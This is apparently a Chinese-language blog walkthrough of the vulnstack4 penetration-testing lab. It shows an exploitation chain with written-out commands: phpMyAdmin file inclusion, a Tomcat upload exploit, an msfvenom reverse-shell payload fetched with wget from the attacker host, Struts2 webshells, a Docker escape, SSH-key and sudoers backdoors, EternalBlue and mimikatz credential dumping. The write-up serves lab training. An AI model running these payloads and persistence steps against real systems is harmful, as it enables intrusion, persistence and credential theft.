红日靶场 vulnstack4


环境搭建

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

ubuntu上可以再启动一下docker

docker start ec 17 09 bb da 3d ab ad

靶机信息

ubuntu:ubuntu
域成员机器
douser:Dotest123
DC:administrator:Test2008 ——>NStest2008

web:192.168.183.129  192.168.255.132
(这里环境配置的时候刚开始没用NAT,直接对183进行操作了,应该是对NAT的外网IP进行访问) 域成员:192.168.183.128 windows7 域控:192.168.183.130 DC

信息收集

用nmap扫描一下开放端口

 这里是扫到2001 2002 2003这三个端口

图片找不到了

 

 

web页面打点

 

phpadmin CVE-2018-12613 

先看看第一个phpadmin页面

进来是一个不需要密码的phpadmin,看到版本是4.8.1

 

 

该版本存在文件包含漏洞,影响4.8.0和4.8.1

来看看存在包含的位置

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

 

对于target传入参数做了一些判断

1需要是字符串,2正则匹配不能是index开头

3不在$target_blacklist 黑名单里面 

$target_blacklist = array (
    'import.php', 'export.php'
);

 

4Core类的checkPageValidity方法判断为True

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }
      #这里的$page需要在白名单内
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page);
    #有一次url解码
$_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }

 

我们想要返回一个True就能bypass了

来一个个的看

第一个if  $whitelist为空就把$goto_whitelist给赋值过去

 

 

第二个if 判断是否为字符串,可以过

第三个if 判断$_page是否在白名单,显然不在

第四个if 进行了一个mb_substr()函数的执行

这个函数是用于查找前面的字符串中对应后面字符串所出现的第一个位置

下面这个就是表示取到?第一个出现的位置 然后,在从头开始取到?前面

也就是相当于一个取?前面的部分赋值给$_page,然后判断是否在白名单里面 是就返回True

 

 

 

 

那么我们构造target参数前面是在白名单里面的而后面接上?和../../../就能目录遍历了(在linux服务器)

 

 

再来看看最后一个if 进行了一次url解码,这个是windows服务器bypass的关键

因为windows对于文件名有规范

 

 

所以直接写?就报错,这里有一次url解码加上服务器收到数据后有一次解码

所以把?url编码两次就可以bypass

 

 

 

获取文件包含的payload后继续来看这里有个test数据库可以任意操作

写一张rce表,插入phpinfo

 

 

然后F12控制台找到phpadmin的缓存里面记录了我们的这条信息,需要找到这个缓存的路径

一般是在

tmp/sess_
payload:http://192.168.183.129:2003/index.php?target=db_datadict.php?../../../../../../../../../tmp/sess_d5033046432999c63181cc5b1716ca78

 

 

接下来直接写一句话木马连接就可以了

 

 

Tomcat 8.5.19 CVE-2017-12617

访问得到一个tomcat页面

 

 

ok看到了他的版本号可以直接去漏洞库里面找一下

这里用一个kali自带的工具 searchsploit 去查找本地的exploit-db库

查找漏洞
searchsploit tomcat 8.5.19
通过路径下载到当前目录
searchsploit -m /jsp/webapps/42966.py

 

 

然后直接poc跑一下

 

 

验证成功存在上传漏洞

 

 

直接可以用payload来攻击

python3 42966.py -u http://192.168.183.129:2002 -p pwn

 

 

这里得到一个shell,可以通过msf生成linux木马来上线msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=7869 -f elf > msf_shell.elf

 

 

然后挂载这个msf_shell.elf文件到web,用获取到的shell去下载,在chmod 权限去执行

wget http://192.168.255.128/msf_shell.elf

chmod 777 msf_shell.elf

./msf_shell.elf

 

在用msf接收就可以上线了

set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.255.128
set lport 7869
run

 

但是我这里这个ubuntu的web靶机不知道为什么网络不可达了,反弹shell和这种木马上线都不行了

不能网络访问到我的攻击机了,一般情况应该是可以的,这里由于未知的网络问题就不演示了。T_T

 

 

Struct 2漏洞

 

这里访问得到的是一个struct 2框架的页面

 

 

直接上工具干一波,检测出来有漏洞

 

 

尝试执行一下,返回了异常报错

 

 

其实我觉得应该就是之前提到的网络问题导致这样的,正常的应该是可以的,这里就不继续验证了

 

 

换了一个版本的工具再来试试 可以成功执行了

 

 

上传木马显示失败,但是去访问发现已经上传成功了

 

 

 

 

然后小马托大马或者直接传大马

 

 

直接冰蝎可以连接上来

 

 

 

 

 

利用Tomcat上传冰蝎马上线

这个漏洞因为是上传,我们上传冰蝎马

这里直接把get改成PUT方法来上传就可以了

 

然后冰蝎连接 

 

docker逃逸

进来发现是一个docker,这里尝试逃逸,特权模式启动的 可以mout挂载目录获得读取权限

 

 

挂载目录
fdisk -l 查看挂载目录
mkdir runout

 

 挂载本地目录到主机

mount /dev/sda1 runout

 

然后就可以带上runout目录去执行访问了

 

前面说了反弹shell和木马上线由于网络都不行了,所以这里用写ssh密钥

 

写入密钥连接ssh

 

生成公钥和私钥

ssh-keygen -t rsa  

 

 

 

写入公钥时候 路径不能用~,不然会找不到,直接写就是了

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7WiRj9NWLuko6ez9d2dyLyr7I8SPHFKKIPOeuT8iJdVc76MF1i8dZKGnxm+yyHbU/gnQ64FkOmgH35UQW814CR6nGM5EsmhExRG9uPsV3aWCkZICRyzRZQ2VnTFjw9ZQAvjY+1YaaXDZ15HGBep/DIokpcpIjjfKER2F3aD5kKa7uVbpi7MRlVhSuXrPeke5yiXtd3l6OtEd+BG+x+MlOyXUt/tkiENoR762twa5o2P78AOBYhiyGaaLxznnbL5KfuyC/ZQuB/Z/aWIqwCGt3ZsBh2iBGBEpoXEAsdRzTwPHbuYV2EZQce1du47KLDrP6vsXV2+9k2SChmZJjgSQE9CR48GQ6BXROoM7eGdW+dCiz3XaMdA7BiK9P57SLt77obulRfWroSSXPD0NtjUQh/9g8yK3RTlpxA+CTaIuTEcQgfwxUNDkKu6t13Jl0T4/F5nfnDhEAlz0WDAb87yekfHRsUGENXD2YRg/WRXbwdJzgTnvNb3YtD+d51Tv50Fs= root@kali' 
>> runout/home/ubuntu/.ssh/authorized_keys

对比

 

 

写~会找不到!!因为这是一个jsp木马 冰蝎连接的,只是能rce并不是一个真正的shell,所以路径要注意直接写绝对路径

写入成功之后就可以直接用密钥来免密连接了

ssh username@IP

 

 

得保证  authorized_keys文件有600的权限也就是 root的 rw 权限

 

 

ubuntu提权姿势,普通的用户无法直接su root操作受限制

可以值/etc/sudoers文件里面加入一条语句,使得可以su 切换root

echo 'UBUNTU ALL=(ALL:ALL) ALL' >> runout/etc/sudoers

 

 

这里输入ubuntu的密码就可以了切换到root了

不知道密码怎么办,我们应该可以通过写入/ect/passwd 和/etc/shadow来直接创建出我们已知的用户

这样也可以来提权不过我写入进去没有得到用户。而且这种操作留下痕迹也明显

。。。。。

或者试试linux的一些提权漏洞

sudo su root

 

 

然后这里除了写ssh密钥应该也是可以反弹shell的,

反弹shell姿势有很多,传到定时任务目录,或者直接写到机器执行

上线msf等等

我试了很多次都是这样的结果

连不上!连不上!

 

他说网络连接不可达

 

 就算我直接访问VPS也是访问不了,可能是网络哪里出问题了这个web靶机。

裂开来 上不了msf  不能弹shell  真的难受

 

 

 内网横向

然后win7登录给我来个这种,由于域还不是很懂,不敢取乱配置,导致我无法登录上去了

 

 

因为我kali和三台靶机是一个虚拟机网段,所以能直接访问到

这里就直接用永恒之蓝探测攻击win7了 没法代理信息收集了

use windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.183.128
show options
run

 

如果没有打出来可以多run几次

 

这里攻击成功

 

 

 弹回一个shell

 

这里出现中文乱码,很不方便信息收集

可以直接设置改变编码

chcp 65001

 

这台win7打进去后我们用meterpreter迁移进程,目的是从x86迁移到x64里面

getpid
ps

 

 

这里迁移到了460进程里面,有些进不去就换其他的进程多试试

migrate 460

 

 可以传一个mimikatz上去,这台win7桌面上就有就不传了

 

然后mimikatz试着抓密码出现权限不够的这种情况

可以尝试用着两条命令来提高权限试试

use incognito 
impersonate_token "NT AUTHORITY\SYSTEM"

 

 

 然后抓取密码

privilege::debug
sekurlsa::logonpasswords
直接获取内存口令

 

 

这里我的win7前面就提到出了点问题 ,先暂时到这里

 

posted @ 2022-03-09 11:42  Erichas  阅读(1185)  评论(0编辑  收藏  举报